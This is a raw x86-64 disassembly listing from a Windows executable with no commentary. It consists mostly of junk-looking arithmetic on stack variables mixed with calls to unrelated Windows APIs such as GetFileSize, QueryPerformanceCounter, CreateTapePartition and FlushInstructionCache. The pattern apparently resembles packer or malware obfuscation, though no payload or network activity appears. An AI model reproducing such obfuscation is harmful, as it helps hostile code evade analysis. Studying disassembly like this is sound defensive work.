mov dword [rsp + 0x4634], 0x4d34
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov word [rsp + 0x1c84], ax
cmp dword [rsp + 0x4610], 0x5b65
je 0x140020757
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x140229f20], rax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x82e8]
shl rax, cl
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
xor eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x447c]
mov rcx, qword [rsp + 0x96e0]
mov qword [rsp + 0x9760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9760]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
sub eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x9660]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x19f], al
mov eax, dword [rsp + 0x45c8]
mov ecx, dword [rsp + 0x4630]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x45d8], eax
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c84]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9660]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4374]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
movsx eax, byte [0x14022b810]
movsx ecx, byte [rsp + 0x186]
shl eax, cl
mov byte [rsp + 0x129], al
lea rdx, [rsp + 0x45e8]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45f8], eax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x9730]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8500], rax
movsx eax, word [rsp + 0x1c88]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c78], ax
mov rax, qword [rsp + 0x8500]
mov rcx, qword [rsp + 0x9670]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4610]
add eax, 0xf9
mov dword [rsp + 0x4610], eax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c8c], ax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
sar eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
jmp 0x140020446
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp dword [rsp + 0x4604], 0x2145
ja 0x140020be3
movsx eax, byte [rsp + 0x186]
movsx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9670], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4374]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9730]
movzx ecx, al
mov rax, qword [rsp + 0x9650]
shl rax, cl
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
xor eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9710]
mov qword [rsp + 0x9768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9768]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c8c]
add eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9670], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4374]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
sar eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c8c]
add eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [0x140229f20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
mov eax, dword [rsp + 0x4374]
movzx ecx, al
mov eax, dword [rsp + 0x447c]
shl eax, cl
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
mov eax, dword [rsp + 0x447c]
movzx ecx, al
mov eax, dword [rsp + 0x4374]
shr eax, cl
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
mov eax, dword [rsp + 0x447c]
mov rcx, qword [rsp + 0x96e0]
mov qword [rsp + 0x9770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9770]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x8500]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov eax, dword [rsp + 0x4604]
add eax, 0x4d
mov dword [rsp + 0x4604], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
add eax, ecx
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9660], rax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov word [0x140229f28], ax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1a90]
sar eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
jmp 0x140020765
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45f8], eax
mov rax, qword [rsp + 0x9660]
mov qword [rsp + 0x9780], rax
mov dword [rsp + 0x4638], 0x4f64
lea rax, [rsp + 0x82e8]
mov qword [rsp + 0x9788], rax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c7c], ax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x186]
add eax, ecx
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
movsx edx, byte [0x14022b810]
and ecx, edx
cmp eax, ecx
jne 0x140020cba
mov eax, dword [rsp + 0x4630]
mov ecx, dword [rsp + 0x45c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x460c], eax
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa9], al
jmp 0x140020de6
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x1c84]
movsx edx, word [rsp + 0x1c88]
add ecx, edx
cmp eax, ecx
jg 0x140020d92
mov rax, qword [rsp + 0x9750]
movzx eax, byte [rax]
mov byte [rsp + 0x342], al
mov eax, dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x4614]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6ca4
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e8], eax
mov dword [rsp + 0x463c], 0x7aab
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x4614]
sub ecx, eax
mov eax, ecx
mov dword [0x140229f2c], eax
mov dword [rsp + 0x4640], 0x12a05
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7dd0], rax
jmp 0x140020de6
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
sar eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rdx, qword [rsp + 0x96d0]
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rax]
call fcn.14017d120
mov rdx, qword [rsp + 0x9798]
mov rcx, qword [rsp + 0x97a0]
call qword [sym.imp.USER32.dll_DragDetect]
mov dword [rsp + 0x45f0], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov eax, dword [rsp + 0x460c]
mov ecx, dword [rsp + 0x4630]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x45c8]
mov edx, dword [rsp + 0x45d8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140020e95
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x82e8]
shl rax, cl
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
sar eax, cl
mov byte [rsp + 0x342], al
jmp 0x14017cb21
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x447c]
mov edx, dword [rsp + 0x4614]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140020ef9
mov rax, qword [rsp + 0x96e0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rax]
call fcn.14017cfe0
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
jmp 0x14017cb21
mov r9d, 2
xor r8d, r8d
mov edx, 0x445e
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45f8], eax
lea rdx, [rsp + 0x4644]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45f8], eax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7dd0], rax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x9730]
sub rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
movzx eax, word [rsp + 0x1c8c]
movzx ecx, word [rsp + 0x1c80]
sar eax, cl
mov word [rsp + 0x1c7c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0x9660]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9780], rax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9758]
mov qword [rsp + 0x97a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [0x140229f20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1a90]
and eax, ecx
mov word [rsp + 0x1c8c], ax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c88]
add eax, ecx
mov word [rsp + 0x1c78], ax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7dd0], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
and eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9660]
xor rcx, rax
mov rax, rcx
mov qword [0x140229f20], rax
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c78]
shl eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
or eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov eax, dword [rsp + 0x4630]
movzx ecx, al
mov eax, dword [rsp + 0x460c]
sar eax, cl
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19f]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbeb3
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4644], eax
mov eax, dword [rsp + 0x4600]
add eax, 0xf9
mov dword [rsp + 0x4600], eax
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0x9660]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x342]
movsx ecx, byte [rsp + 0x129]
and eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9710]
mov qword [rsp + 0x97b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97b0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x140229f20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
add eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x9660]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x82e8], rax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
xor eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [0x140229f20]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x342]
movsx ecx, byte [rsp + 0x129]
sar eax, cl
mov byte [rsp + 0x186], al
cmp dword [rsp + 0x4600], 0x12221
jbe 0x140020f1c
lea rax, [0x140229f2c]
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x9730]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x82e8], rax
mov eax, dword [rsp + 0x460c]
mov ecx, dword [rsp + 0x45d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x45c8], eax
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
sub eax, ecx
mov word [rsp + 0x1c78], ax
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1c7c]
and eax, ecx
mov word [rsp + 0x1a90], ax
movsx eax, byte [0x14022b811]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9650]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [0x140229f2c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9660]
movzx ecx, al
mov rax, qword [rsp + 0x96d0]
shl rax, cl
mov qword [0x140229f20], rax
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x82e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [0x140229f20]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c88]
sar eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x7dd0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b811]
and eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f28], ax
mov eax, dword [rsp + 0x4630]
movzx ecx, al
mov eax, dword [rsp + 0x45d8]
sar eax, cl
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
xor eax, ecx
mov word [rsp + 0x1c78], ax
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [0x140229f28]
or eax, ecx
mov word [rsp + 0x1c7c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x670f
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4648], eax
mov eax, dword [rsp + 0x45e0]
add eax, 0x5e
mov dword [rsp + 0x45e0], eax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7dd0], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
add eax, ecx
mov byte [rsp + 0x342], al
mov eax, dword [rsp + 0x4614]
mov rcx, qword [rsp + 0x97b8]
mov qword [rsp + 0x97c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97c0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [0x140229f20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a90]
and eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x9780]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9650]
movzx ecx, al
mov rax, qword [rsp + 0x8500]
shl rax, cl
mov qword [rsp + 0x9670], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4374]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
mov eax, dword [rsp + 0x45c8]
mov ecx, dword [rsp + 0x4630]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
